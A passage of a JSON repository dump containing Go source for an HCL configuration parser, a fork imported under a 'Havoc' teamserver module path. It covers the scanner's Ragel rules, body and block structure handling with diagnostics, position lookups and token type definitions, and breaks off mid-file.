spaces appear between tokens,\n        # and uses this assumption to recreate the spaces between tokens by\n        # looking at byte offset differences. This means it will produce\n        # incorrect results in the presence of tabs, but that's acceptable\n        # because the canonical style (which hclwrite itself can impose\n        # automatically is to never use tabs).\n        Spaces = (' ' | 0x09)+;\n\n        action beginStringTemplate {\n            token(TokenOQuote);\n            fcall stringTemplate;\n        }\n\n        action endStringTemplate {\n            token(TokenCQuote);\n            fret;\n        }\n\n        action beginHeredocTemplate {\n            token(TokenOHeredoc);\n            // the token is currently the whole heredoc introducer, like\n            // <<EOT or <<-EOT, followed by a newline. We want to extract\n            // just the \"EOT\" portion that we'll use as the closing marker.\n\n            marker := data[ts+2:te-1]\n            if marker[0] == '-' {\n                marker = marker[1:]\n            }\n            if marker[len(marker)-1] == '\\r' {\n                marker = marker[:len(marker)-1]\n            }\n\n            heredocs = append(heredocs, heredocInProgress{\n                Marker:      marker,\n                StartOfLine: true,\n            })\n\n            fcall heredocTemplate;\n        }\n\n        action heredocLiteralEOL {\n            // This action is called specifically when a heredoc literal\n            // ends with a newline character.\n\n            // This might actually be our end marker.\n            topdoc := &heredocs[len(heredocs)-1]\n            if topdoc.StartOfLine {\n                maybeMarker := bytes.TrimSpace(data[ts:te])\n                if bytes.Equal(maybeMarker, topdoc.Marker) {\n                    // We actually emit two tokens here: the end-of-heredoc\n                    // marker first, and then separately the newline that\n                    // follows it. This then avoids issues with the closing\n                    // marker consuming a newline that would normally be used\n                    // to mark the end of an attribute definition.\n                    // We might have either a \\n sequence or an \\r\\n sequence\n                    // here, so we must handle both.\n                    nls := te-1\n                    nle := te\n                    te--\n                    if data[te-1] == '\\r' {\n                        // back up one more byte\n                        nls--\n                        te--\n                    }\n                    token(TokenCHeredoc);\n                    ts = nls\n                    te = nle\n                    token(TokenNewline);\n                    heredocs = heredocs[:len(heredocs)-1]\n                    fret;\n                }\n            }\n\n            topdoc.StartOfLine = true;\n            token(TokenStringLit);\n        }\n\n        action heredocLiteralMidline {\n            // This action is called when a heredoc literal _doesn't_ end\n            // with a newline character, e.g. because we're about to enter\n            // an interpolation sequence.\n            heredocs[len(heredocs)-1].StartOfLine = false;\n            token(TokenStringLit);\n        }\n\n        action bareTemplateLiteral {\n            token(TokenStringLit);\n        }\n\n        action beginTemplateInterp {\n            token(TokenTemplateInterp);\n            braces++;\n            retBraces = append(retBraces, braces);\n            if len(heredocs) > 0 {\n                heredocs[len(heredocs)-1].StartOfLine = false;\n            }\n            fcall main;\n        }\n\n        action beginTemplateControl {\n            token(TokenTemplateControl);\n            braces++;\n            retBraces = append(retBraces, braces);\n            if len(heredocs) > 0 {\n                heredocs[len(heredocs)-1].StartOfLine = false;\n            }\n            fcall main;\n        }\n\n        action openBrace {\n            token(TokenOBrace);\n            braces++;\n        }\n\n        action closeBrace {\n            if len(retBraces) > 0 && retBraces[len(retBraces)-1] == braces {\n                token(TokenTemplateSeqEnd);\n                braces--;\n                retBraces = retBraces[0:len(retBraces)-1]\n                fret;\n            } else {\n                token(TokenCBrace);\n                braces--;\n            }\n        }\n\n        action closeTemplateSeqEatWhitespace {\n            // Only consume from the retBraces stack and return if we are at\n            // a suitable brace nesting level, otherwise things will get\n            // confused. (Not entering this branch indicates a syntax error,\n            // which we will catch in the parser.)\n            if len(retBraces) > 0 && retBraces[len(retBraces)-1] == braces {\n                token(TokenTemplateSeqEnd);\n                braces--;\n                retBraces = retBraces[0:len(retBraces)-1]\n                fret;\n            } else {\n                // We intentionally generate a TokenTemplateSeqEnd here,\n                // even though the user apparently wanted a brace, because\n                // we want to allow the parser to catch the incorrect use\n                // of a ~} to balance a generic opening brace, rather than\n                // a template sequence.\n                token(TokenTemplateSeqEnd);\n                braces--;\n            }\n        }\n\n        TemplateInterp = \"${\" (\"~\")?;\n        TemplateControl = \"%{\" (\"~\")?;\n        EndStringTmpl = '\"';\n        NewlineChars = (\"\\r\"|\"\\n\");\n        NewlineCharsSeq = NewlineChars+;\n        StringLiteralChars = (AnyUTF8 - NewlineChars);\n        TemplateIgnoredNonBrace = (^'{' %{ fhold; });\n        TemplateNotInterp = '$' (TemplateIgnoredNonBrace | TemplateInterp);\n        TemplateNotControl = '%' (TemplateIgnoredNonBrace | TemplateControl);\n        QuotedStringLiteralWithEsc = ('\\\\' StringLiteralChars) | (StringLiteralChars - (\"$\" | '%' | '\"' | \"\\\\\"));\n        TemplateStringLiteral = (\n            (TemplateNotInterp) |\n            (TemplateNotControl) |\n            (QuotedStringLiteralWithEsc)+\n        );\n        HeredocStringLiteral = (\n            (TemplateNotInterp) |\n            (TemplateNotControl) |\n            (StringLiteralChars - (\"$\" | '%'))*\n        );\n        BareStringLiteral = (\n            (TemplateNotInterp) |\n            (TemplateNotControl) |\n            (StringLiteralChars - (\"$\" | '%'))*\n        ) Newline?;\n\n        stringTemplate := |*\n            TemplateInterp        => beginTemplateInterp;\n            TemplateControl       => beginTemplateControl;\n            EndStringTmpl         => endStringTemplate;\n            TemplateStringLiteral => { token(TokenQuotedLit); };\n            NewlineCharsSeq       => { token(TokenQuotedNewline); };\n            AnyUTF8               => { token(TokenInvalid); };\n            BrokenUTF8            => { token(TokenBadUTF8); };\n        *|;\n\n        heredocTemplate := |*\n            TemplateInterp        => beginTemplateInterp;\n            TemplateControl       => beginTemplateControl;\n            HeredocStringLiteral EndOfLine => heredocLiteralEOL;\n            HeredocStringLiteral  => heredocLiteralMidline;\n            BrokenUTF8            => { token(TokenBadUTF8); };\n        *|;\n\n        bareTemplate := |*\n            TemplateInterp        => beginTemplateInterp;\n            TemplateControl       => beginTemplateControl;\n            BareStringLiteral     => bareTemplateLiteral;\n            BrokenUTF8            => { token(TokenBadUTF8); };\n        *|;\n\n        identOnly := |*\n            Ident            => { token(TokenIdent) };\n            BrokenUTF8       => { token(TokenBadUTF8) };\n            AnyUTF8          => { token(TokenInvalid) };\n        *|;\n\n        main := |*\n            Spaces           => {};\n            NumberLit        => { token(TokenNumberLit) };\n            Ident            => { token(TokenIdent) };\n\n            Comment          => { token(TokenComment) };\n            Newline          => { token(TokenNewline) };\n\n            EqualOp          => { token(TokenEqualOp); };\n            NotEqual         => { token(TokenNotEqual); };\n            GreaterThanEqual => { token(TokenGreaterThanEq); };\n            LessThanEqual    => { token(TokenLessThanEq); };\n            LogicalAnd       => { token(TokenAnd); };\n            LogicalOr        => { token(TokenOr); };\n            Ellipsis         => { token(TokenEllipsis); };\n            FatArrow         => { token(TokenFatArrow); };\n            SelfToken        => { selfToken() };\n\n            \"{\"              => openBrace;\n            \"}\"              => closeBrace;\n\n            \"~}\"             => closeTemplateSeqEatWhitespace;\n\n            BeginStringTmpl  => beginStringTemplate;\n            BeginHeredocTmpl => beginHeredocTemplate;\n\n            BrokenUTF8       => { token(TokenBadUTF8) };\n            AnyUTF8          => { token(TokenInvalid) };\n        *|;\n\n    }%%\n\n    // Ragel state\n\tp := 0  // \"Pointer\" into data\n\tpe := len(data) // End-of-data \"pointer\"\n    ts := 0\n    te := 0\n    act := 0\n    eof := pe\n    var stack []int\n    var top int\n\n    var cs int // current state\n    switch mode {\n    case scanNormal:\n        cs = hcltok_en_main\n    case scanTemplate:\n        cs = hcltok_en_bareTemplate\n    case scanIdentOnly:\n        cs = hcltok_en_identOnly\n    default:\n        panic(\"invalid scanMode\")\n    }\n\n    braces := 0\n    var retBraces []int // stack of brace levels that cause us to use fret\n    var heredocs []heredocInProgress // stack of heredocs we're currently processing\n\n    %%{\n        prepush {\n            stack = append(stack, 0);\n        }\n        postpop {\n            stack = stack[:len(stack)-1];\n        }\n    }%%\n\n    // Make Go compiler happy\n    _ = ts\n    _ = te\n    _ = act\n    _ = eof\n\n    token := func (ty TokenType) {\n        f.emitToken(ty, ts, te)\n    }\n    selfToken := func () {\n        b := data[ts:te]\n        if len(b) != 1 {\n            // should never happen\n            panic(\"selfToken only works for single-character tokens\")\n        }\n        f.emitToken(TokenType(b[0]), ts, te)\n    }\n\n    %%{\n        write init nocs;\n        write exec;\n    }%%\n\n    // If we fall out here without being in a final state then we've\n    // encountered something that the scanner can't match, which we'll\n    // deal with as an invalid.\n    if cs < hcltok_first_final {\n        if mode == scanTemplate && len(stack) == 0 {\n            // If we're scanning a bare template then any straggling\n            // top-level stuff is actually literal string, rather than\n            // invalid. This handles the case where the template ends\n            // with a single \"$\" or \"%\", which trips us up because we\n            // want to see another character to decide if it's a sequence\n            // or an escape.\n            f.emitToken(TokenStringLit, ts, len(data))\n        } else {\n            f.emitToken(TokenInvalid, ts, len(data))\n        }\n    }\n\n    // We always emit a synthetic EOF token at the end, since it gives the\n    // parser position information for an \"unexpected EOF\" diagnostic.\n    f.emitToken(TokenEOF, len(data), len(data))\n\n    return f.Tokens\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/structure.go",
    "content": "package hclsyntax\n\nimport (\n    \"fmt\"\n    \"strings\"\n\n    \"Havoc/pkg/profile/yaotl\"\n)\n\n// AsHCLBlock returns the block data expressed as a *hcl.Block.\nfunc (b *Block) AsHCLBlock() *hcl.Block {\n    if b == nil {\n        return nil\n    }\n\n    lastHeaderRange := b.TypeRange\n    if len(b.LabelRanges) > 0 {\n        lastHeaderRange = b.LabelRanges[len(b.LabelRanges)-1]\n    }\n\n    return &hcl.Block{\n        Type:   b.Type,\n        Labels: b.Labels,\n        Body:   b.Body,\n\n        DefRange:    hcl.RangeBetween(b.TypeRange, lastHeaderRange),\n        TypeRange:   b.TypeRange,\n        LabelRanges: b.LabelRanges,\n    }\n}\n\n// Body is the implementation of hcl.Body for the HCL native syntax.\ntype Body struct {\n    Attributes Attributes\n    Blocks     Blocks\n\n    // These are used with PartialContent to produce a \"remaining items\"\n    // body to return. They are nil on all bodies fresh out of the parser.\n    hiddenAttrs  map[string]struct{}\n    hiddenBlocks map[string]struct{}\n\n    SrcRange hcl.Range\n    EndRange hcl.Range // Final token of the body, for reporting missing items\n}\n\n// Assert that *Body implements hcl.Body\nvar assertBodyImplBody hcl.Body = &Body{}\n\nfunc (b *Body) walkChildNodes(w internalWalkFunc) {\n    w(b.Attributes)\n    w(b.Blocks)\n}\n\nfunc (b *Body) Range() hcl.Range {\n    return b.SrcRange\n}\n\nfunc (b *Body) Content(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Diagnostics) {\n    content, remainHCL, diags := b.PartialContent(schema)\n\n    // No we'll see if anything actually remains, to produce errors about\n    // extraneous items.\n    remain := remainHCL.(*Body)\n\n    for name, attr := range b.Attributes {\n        if _, hidden := remain.hiddenAttrs[name]; !hidden {\n            var suggestions []string\n            for _, attrS := range schema.Attributes {\n                if _, defined := content.Attributes[attrS.Name]; defined {\n                    continue\n                }\n                suggestions = append(suggestions, attrS.Name)\n            }\n            suggestion := nameSuggestion(name, suggestions)\n            if suggestion != \"\" {\n                suggestion = fmt.Sprintf(\" Did you mean %q?\", suggestion)\n            } else {\n                // Is there a block of the same name?\n                for _, blockS := range schema.Blocks {\n                    if blockS.Type == name {\n                        suggestion = fmt.Sprintf(\" Did you mean to define a block of type %q?\", name)\n                        break\n                    }\n                }\n            }\n\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Unsupported argument\",\n                Detail:   fmt.Sprintf(\"An argument named %q is not expected here.%s\", name, suggestion),\n                Subject:  &attr.NameRange,\n            })\n        }\n    }\n\n    for _, block := range b.Blocks {\n        blockTy := block.Type\n        if _, hidden := remain.hiddenBlocks[blockTy]; !hidden {\n            var suggestions []string\n            for _, blockS := range schema.Blocks {\n                suggestions = append(suggestions, blockS.Type)\n            }\n            suggestion := nameSuggestion(blockTy, suggestions)\n            if suggestion != \"\" {\n                suggestion = fmt.Sprintf(\" Did you mean %q?\", suggestion)\n            } else {\n                // Is there an attribute of the same name?\n                for _, attrS := range schema.Attributes {\n                    if attrS.Name == blockTy {\n                        suggestion = fmt.Sprintf(\" Did you mean to define argument %q? If so, use the equals sign to assign it a value.\", blockTy)\n                        break\n                    }\n                }\n            }\n\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Unsupported block type\",\n                Detail:   fmt.Sprintf(\"Blocks of type %q are not expected here.%s\", blockTy, suggestion),\n                Subject:  &block.TypeRange,\n            })\n        }\n    }\n\n    return content, diags\n}\n\nfunc (b *Body) PartialContent(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Body, hcl.Diagnostics) {\n    attrs := make(hcl.Attributes)\n    var blocks hcl.Blocks\n    var diags hcl.Diagnostics\n    hiddenAttrs := make(map[string]struct{})\n    hiddenBlocks := make(map[string]struct{})\n\n    if b.hiddenAttrs != nil {\n        for k, v := range b.hiddenAttrs {\n            hiddenAttrs[k] = v\n        }\n    }\n    if b.hiddenBlocks != nil {\n        for k, v := range b.hiddenBlocks {\n            hiddenBlocks[k] = v\n        }\n    }\n\n    for _, attrS := range schema.Attributes {\n        name := attrS.Name\n        attr, exists := b.Attributes[name]\n        _, hidden := hiddenAttrs[name]\n        if hidden || !exists {\n            if attrS.Required {\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Missing required argument\",\n                    Detail:   fmt.Sprintf(\"The argument %q is required, but no definition was found.\", attrS.Name),\n                    Subject:  b.MissingItemRange().Ptr(),\n                })\n            }\n            continue\n        }\n\n        hiddenAttrs[name] = struct{}{}\n        attrs[name] = attr.AsHCLAttribute()\n    }\n\n    blocksWanted := make(map[string]hcl.BlockHeaderSchema)\n    for _, blockS := range schema.Blocks {\n        blocksWanted[blockS.Type] = blockS\n    }\n\n    for _, block := range b.Blocks {\n        if _, hidden := hiddenBlocks[block.Type]; hidden {\n            continue\n        }\n        blockS, wanted := blocksWanted[block.Type]\n        if !wanted {\n            continue\n        }\n\n        if len(block.Labels) > len(blockS.LabelNames) {\n            name := block.Type\n            if len(blockS.LabelNames) == 0 {\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  fmt.Sprintf(\"Extraneous label for %s\", name),\n                    Detail: fmt.Sprintf(\n                        \"No labels are expected for %s blocks.\", name,\n                    ),\n                    Subject: block.LabelRanges[0].Ptr(),\n                    Context: hcl.RangeBetween(block.TypeRange, block.OpenBraceRange).Ptr(),\n                })\n            } else {\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  fmt.Sprintf(\"Extraneous label for %s\", name),\n                    Detail: fmt.Sprintf(\n                        \"Only %d labels (%s) are expected for %s blocks.\",\n                        len(blockS.LabelNames), strings.Join(blockS.LabelNames, \", \"), name,\n                    ),\n                    Subject: block.LabelRanges[len(blockS.LabelNames)].Ptr(),\n                    Context: hcl.RangeBetween(block.TypeRange, block.OpenBraceRange).Ptr(),\n                })\n            }\n            continue\n        }\n\n        if len(block.Labels) < len(blockS.LabelNames) {\n            name := block.Type\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  fmt.Sprintf(\"Missing %s for %s\", blockS.LabelNames[len(block.Labels)], name),\n                Detail: fmt.Sprintf(\n                    \"All %s blocks must have %d labels (%s).\",\n                    name, len(blockS.LabelNames), strings.Join(blockS.LabelNames, \", \"),\n                ),\n                Subject: &block.OpenBraceRange,\n                Context: hcl.RangeBetween(block.TypeRange, block.OpenBraceRange).Ptr(),\n            })\n            continue\n        }\n\n        blocks = append(blocks, block.AsHCLBlock())\n    }\n\n    // We hide blocks only after we've processed all of them, since otherwise\n    // we can't process more than one of the same type.\n    for _, blockS := range schema.Blocks {\n        hiddenBlocks[blockS.Type] = struct{}{}\n    }\n\n    remain := &Body{\n        Attributes: b.Attributes,\n        Blocks:     b.Blocks,\n\n        hiddenAttrs:  hiddenAttrs,\n        hiddenBlocks: hiddenBlocks,\n\n        SrcRange: b.SrcRange,\n        EndRange: b.EndRange,\n    }\n\n    return &hcl.BodyContent{\n        Attributes: attrs,\n        Blocks:     blocks,\n\n        MissingItemRange: b.MissingItemRange(),\n    }, remain, diags\n}\n\nfunc (b *Body) JustAttributes() (hcl.Attributes, hcl.Diagnostics) {\n    attrs := make(hcl.Attributes)\n    var diags hcl.Diagnostics\n\n    if len(b.Blocks) > 0 {\n        example := b.Blocks[0]\n        diags = append(diags, &hcl.Diagnostic{\n            Severity: hcl.DiagError,\n            Summary:  fmt.Sprintf(\"Unexpected %q block\", example.Type),\n            Detail:   \"Blocks are not allowed here.\",\n            Subject:  &example.TypeRange,\n        })\n        // we will continue processing anyway, and return the attributes\n        // we are able to find so that certain analyses can still be done\n        // in the face of errors.\n    }\n\n    if b.Attributes == nil {\n        return attrs, diags\n    }\n\n    for name, attr := range b.Attributes {\n        if _, hidden := b.hiddenAttrs[name]; hidden {\n            continue\n        }\n        attrs[name] = attr.AsHCLAttribute()\n    }\n\n    return attrs, diags\n}\n\nfunc (b *Body) MissingItemRange() hcl.Range {\n    return hcl.Range{\n        Filename: b.SrcRange.Filename,\n        Start:    b.SrcRange.Start,\n        End:      b.SrcRange.Start,\n    }\n}\n\n// Attributes is the collection of attribute definitions within a body.\ntype Attributes map[string]*Attribute\n\nfunc (a Attributes) walkChildNodes(w internalWalkFunc) {\n    for _, attr := range a {\n        w(attr)\n    }\n}\n\n// Range returns the range of some arbitrary point within the set of\n// attributes, or an invalid range if there are no attributes.\n//\n// This is provided only to complete the Node interface, but has no practical\n// use.\nfunc (a Attributes) Range() hcl.Range {\n    // An attributes doesn't really have a useful range to report, since\n    // it's just a grouping construct. So we'll arbitrarily take the\n    // range of one of the attributes, or produce an invalid range if we have\n    // none. In practice, there's little reason to ask for the range of\n    // an Attributes.\n    for _, attr := range a {\n        return attr.Range()\n    }\n    return hcl.Range{\n        Filename: \"<unknown>\",\n    }\n}\n\n// Attribute represents a single attribute definition within a body.\ntype Attribute struct {\n    Name string\n    Expr Expression\n\n    SrcRange    hcl.Range\n    NameRange   hcl.Range\n    EqualsRange hcl.Range\n}\n\nfunc (a *Attribute) walkChildNodes(w internalWalkFunc) {\n    w(a.Expr)\n}\n\nfunc (a *Attribute) Range() hcl.Range {\n    return a.SrcRange\n}\n\n// AsHCLAttribute returns the block data expressed as a *hcl.Attribute.\nfunc (a *Attribute) AsHCLAttribute() *hcl.Attribute {\n    if a == nil {\n        return nil\n    }\n    return &hcl.Attribute{\n        Name: a.Name,\n        Expr: a.Expr,\n\n        Range:     a.SrcRange,\n        NameRange: a.NameRange,\n    }\n}\n\n// Blocks is the list of nested blocks within a body.\ntype Blocks []*Block\n\nfunc (bs Blocks) walkChildNodes(w internalWalkFunc) {\n    for _, block := range bs {\n        w(block)\n    }\n}\n\n// Range returns the range of some arbitrary point within the list of\n// blocks, or an invalid range if there are no blocks.\n//\n// This is provided only to complete the Node interface, but has no practical\n// use.\nfunc (bs Blocks) Range() hcl.Range {\n    if len(bs) > 0 {\n        return bs[0].Range()\n    }\n    return hcl.Range{\n        Filename: \"<unknown>\",\n    }\n}\n\n// Block represents a nested block structure\ntype Block struct {\n    Type   string\n    Labels []string\n    Body   *Body\n\n    TypeRange       hcl.Range\n    LabelRanges     []hcl.Range\n    OpenBraceRange  hcl.Range\n    CloseBraceRange hcl.Range\n}\n\nfunc (b *Block) walkChildNodes(w internalWalkFunc) {\n    w(b.Body)\n}\n\nfunc (b *Block) Range() hcl.Range {\n    return hcl.RangeBetween(b.TypeRange, b.CloseBraceRange)\n}\n\nfunc (b *Block) DefRange() hcl.Range {\n    return hcl.RangeBetween(b.TypeRange, b.OpenBraceRange)\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/structure_at_pos.go",
    "content": "package hclsyntax\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n)\n\n// -----------------------------------------------------------------------------\n// The methods in this file are all optional extension methods that serve to\n// implement the methods of the same name on *hcl.File when its root body\n// is provided by this package.\n// -----------------------------------------------------------------------------\n\n// BlocksAtPos implements the method of the same name for an *hcl.File that\n// is backed by a *Body.\nfunc (b *Body) BlocksAtPos(pos hcl.Pos) []*hcl.Block {\n    list, _ := b.blocksAtPos(pos, true)\n    return list\n}\n\n// InnermostBlockAtPos implements the method of the same name for an *hcl.File\n// that is backed by a *Body.\nfunc (b *Body) InnermostBlockAtPos(pos hcl.Pos) *hcl.Block {\n    _, innermost := b.blocksAtPos(pos, false)\n    return innermost.AsHCLBlock()\n}\n\n// OutermostBlockAtPos implements the method of the same name for an *hcl.File\n// that is backed by a *Body.\nfunc (b *Body) OutermostBlockAtPos(pos hcl.Pos) *hcl.Block {\n    return b.outermostBlockAtPos(pos).AsHCLBlock()\n}\n\n// blocksAtPos is the internal engine of both BlocksAtPos and\n// InnermostBlockAtPos, which both need to do the same logic but return a\n// differently-shaped result.\n//\n// list is nil if makeList is false, avoiding an allocation. Innermost is\n// always set, and if the returned list is non-nil it will always match the\n// final element from that list.\nfunc (b *Body) blocksAtPos(pos hcl.Pos, makeList bool) (list []*hcl.Block, innermost *Block) {\n    current := b\n\nBlocks:\n    for current != nil {\n        for _, block := range current.Blocks {\n            wholeRange := hcl.RangeBetween(block.TypeRange, block.CloseBraceRange)\n            if wholeRange.ContainsPos(pos) {\n                innermost = block\n                if makeList {\n                    list = append(list, innermost.AsHCLBlock())\n                }\n                current = block.Body\n                continue Blocks\n            }\n        }\n\n        // If we fall out here then none of the current body's nested blocks\n        // contain the position we are looking for, and so we're done.\n        break\n    }\n\n    return\n}\n\n// outermostBlockAtPos is the internal version of OutermostBlockAtPos that\n// returns a hclsyntax.Block rather than an hcl.Block, allowing for further\n// analysis if necessary.\nfunc (b *Body) outermostBlockAtPos(pos hcl.Pos) *Block {\n    // This is similar to blocksAtPos, but simpler because we know it only\n    // ever needs to search the first level of nested blocks.\n\n    for _, block := range b.Blocks {\n        wholeRange := hcl.RangeBetween(block.TypeRange, block.CloseBraceRange)\n        if wholeRange.ContainsPos(pos) {\n            return block\n        }\n    }\n\n    return nil\n}\n\n// AttributeAtPos implements the method of the same name for an *hcl.File\n// that is backed by a *Body.\nfunc (b *Body) AttributeAtPos(pos hcl.Pos) *hcl.Attribute {\n    return b.attributeAtPos(pos).AsHCLAttribute()\n}\n\n// attributeAtPos is the internal version of AttributeAtPos that returns a\n// hclsyntax.Block rather than an hcl.Block, allowing for further analysis if\n// necessary.\nfunc (b *Body) attributeAtPos(pos hcl.Pos) *Attribute {\n    searchBody := b\n    _, block := b.blocksAtPos(pos, false)\n    if block != nil {\n        searchBody = block.Body\n    }\n\n    for _, attr := range searchBody.Attributes {\n        if attr.SrcRange.ContainsPos(pos) {\n            return attr\n        }\n    }\n\n    return nil\n}\n\n// OutermostExprAtPos implements the method of the same name for an *hcl.File\n// that is backed by a *Body.\nfunc (b *Body) OutermostExprAtPos(pos hcl.Pos) hcl.Expression {\n    attr := b.attributeAtPos(pos)\n    if attr == nil {\n        return nil\n    }\n    if !attr.Expr.Range().ContainsPos(pos) {\n        return nil\n    }\n    return attr.Expr\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/token.go",
    "content": "package hclsyntax\n\nimport (\n    \"bytes\"\n    \"fmt\"\n\n    \"github.com/apparentlymart/go-textseg/v13/textseg\"\n    \"Havoc/pkg/profile/yaotl\"\n)\n\n// Token represents a sequence of bytes from some HCL code that has been\n// tagged with a type and its range within the source file.\ntype Token struct {\n    Type  TokenType\n    Bytes []byte\n    Range hcl.Range\n}\n\n// Tokens is a slice of Token.\ntype Tokens []Token\n\n// TokenType is an enumeration used for the Type field on Token.\ntype TokenType rune\n\nconst (\n    // Single-character tokens are represented by their own character, for\n    // convenience in producing these within the scanner. However, the values\n    // are otherwise arbitrary and just intended to be mnemonic for humans\n    // who might see them in debug output.\n\n    TokenOBrace   TokenType = '{'\n    TokenCBrace   TokenType = '}'\n    TokenOBrack   TokenType = '['\n    TokenCBrack   TokenType = ']'\n    TokenOParen   TokenType = '('\n    TokenCParen   TokenType = ')'\n    TokenOQuote   TokenType = '«'\n    TokenCQuote   TokenType = '»'\n    TokenOHeredoc TokenType = 'H'\n    TokenCHeredoc TokenType = 'h'\n\n    TokenStar    TokenType = '*'\n    TokenSlash   TokenType = '/'\n    TokenPlus    TokenType = '+'\n    TokenMinus   TokenType = '-'\n    TokenPercent TokenType = '%'\n\n    TokenEqual         TokenType = '='\n    TokenEqualOp       TokenType = '≔'\n    TokenNotEqual      TokenType = '≠'\n    TokenLessThan      TokenType = '<'\n    TokenLessThanEq    TokenType = '≤'\n    TokenGreaterThan   TokenType = '>'\n    TokenGreaterThanEq TokenType = '≥'\n\n    TokenAnd  TokenType = '∧'\n    TokenOr   TokenType = '∨'\n    TokenBang TokenType = '!'\n\n    TokenDot   TokenType = '.'\n    TokenComma TokenType = ','\n\n    TokenEllipsis TokenType = '…'\n    TokenFatArrow TokenType = '⇒'\n\n    TokenQuestion TokenType = '?'\n    TokenColon    TokenType = ':'\n\n    TokenTemplateInterp  TokenType = '∫'\n    TokenTemplateControl TokenType = 'λ'\n    TokenTemplateSeqEnd  TokenType = '∎'\n\n    TokenQuotedLit TokenType = 'Q' // might contain backslash escapes\n    TokenStringLit TokenType = 'S' // cannot contain backslash escapes\n    TokenNumberLit TokenType = 'N'\n    TokenIdent     TokenType = 'I'\n\n    TokenComment TokenType = 'C'\n\n    TokenNewline TokenType = '\\n'\n    TokenEOF     TokenType = '␄'\n\n    // The rest are not used in the language but recognized by the scanner so\n    // we can generate good diagnostics in the parser when users try to write\n    // things that might work in other languages they are familiar with, or\n    // simply make incorrect assumptions about the HCL language.\n\n    TokenBitwiseAnd    TokenType = '&'\n    TokenBitwiseOr     TokenType = '|'\n    TokenBitwiseNot    TokenType = '~'\n    TokenBitwiseXor    TokenType = '^'\n    TokenStarStar      TokenType = '➚'\n    TokenApostrophe    TokenType = '\\''\n    TokenBacktick      TokenType = '`'\n    TokenSemicolon     TokenType = ';'\n    TokenTabs          TokenType = '␉'\n    TokenInvalid       TokenType = '�'\n    TokenBadUTF8       TokenType = '💩'\n    TokenQuotedNewline TokenType = '␤'\n\n    // TokenNil is a placeholder for when a token is required but none is\n    // available, e.g. when reporting errors. The scanner will never produce\n    // this as part of a token stream.\n    TokenNil TokenType = '\\x00'\n)\n\nfunc (t TokenType) GoString() string {\n    return fmt.Sprintf(\"hclsyntax.%s\", t.String())\n}\n\ntype scanMode int\n\nconst (\n    scanNormal scanMode = iota\n    scanTemplate\n    scanIdentOnly\n)\n\ntype tokenAccum struct {\n    Filename  string\n    Bytes     []byte\n    Pos       hcl.Pos\n    Tokens    []Token\n    StartByte int\n}\n\nfunc (f *tokenAccum) emitToken(ty TokenType, startOfs, endOfs int) {\n    // Walk through our buffer to figure out how much we need to adjust\n    // the start pos to get our end pos.\n\n    start := f.Pos\n    start.Column += startOfs + f.StartByte - f.Pos.Byte // Safe because only ASCII spaces can be in the offset\n    start.Byte = startOfs + f.StartByte\n\n    end := start\n    end.Byte = endOfs + f.StartByte\n    b := f.Bytes[startOfs:endOfs]\n    for len(b) > 0 {\n        advance, seq, _ := textseg.ScanGraphemeClusters(b, true)\n        if (len(seq) == 1 && seq[0] == '\\n') || (len(seq) == 2 && seq[0] == '\\r' && seq[1] == '\\n') {\n            end.Line++\n            end.Column = 1\n        } else {\n            end.Column++\n        }\n        b = b[advance:]\n    }\n\n    f.Pos = end\n\n    f.Tokens = append(f.Tokens, Token{\n        Type:  ty,\n        Bytes: f.Bytes[startOfs:endOfs],\n        Range: hcl.Range{\n            Filename: f.Filename,\n            Start:    start,\n            End:      end,\n        },\n    })\n}\n\ntype heredocInProgress struct {\n    Marker      []byte\n    StartOfLine bool\n}\n\nfunc tokenOpensFlushHeredoc(tok Token) bool {\n    if tok.Type != TokenOHeredoc {\n        return false\n    }\n    return bytes.HasPrefix(tok.Bytes, []byte{'<', '<', '-'})\n}\n\n// checkInvalidTokens does a simple pass across the given tokens and generates\n// diagnostics for tokens that should _never_ appear in HCL source. This\n// is intended to avoid the need for the parser to have special support\n// for them all over.\n//\n// Returns a diagnostics with no errors if everything seems acceptable.\n// Otherwise, returns zero or more error diagnostics, though tries to limit\n// repetition of the same information.\nfunc checkInvalidTokens(tokens Tokens) hcl.Diagnostics {\n    var diags hcl.Diagnostics\n\n    toldBitwise := 0\n    toldExponent := 0\n    toldBacktick := 0\n    toldApostrophe := 0\n    toldSemicolon := 0\n    toldTabs := 0\n    toldBadUTF8 := 0\n\n    for _, tok := range tokens {\n        // copy token so it's safe to point to it\n        tok := tok\n\n        switch tok.Type {\n        case TokenBitwiseAnd, TokenBitwiseOr, TokenBitwiseXor, TokenBitwiseNot:\n            if toldBitwise < 4 {\n                var suggestion string\n                switch tok.Type {\n                case TokenBitwiseAnd:\n                    suggestion = \" Did you mean boolean AND (\\\"&&\\\")?\"\n                case TokenBitwiseOr:\n                    suggestion = \" Did you mean boolean OR (\\\"||\\\")?\"\n                case TokenBitwiseNot:\n                    suggestion = \" Did you mean boolean NOT (\\\"!\\\")?\"\n                }\n\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Unsupported operator\",\n                    Detail:   fmt.Sprintf(\"Bitwise operators are not supported.%s\", suggestion),\n                    Subject:  &tok.Range,\n                })\n                toldBitwise++\n            }\n        case TokenStarStar:\n            if toldExponent < 1 {\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Unsupported operator\",\n                    Detail:   \"\\\"**\\\" is not a supported operator. Exponentiation is not supported as an operator.\",\n                    Subject:  &tok.Range,\n                })\n\n                toldExponent++\n            }\n        case TokenBacktick:\n            // Only report for alternating (even) backticks, so we won't report both start and ends of the same\n            // backtick-quoted string.\n            if (toldBacktick % 2) == 0 {\n                diags = append(diags, 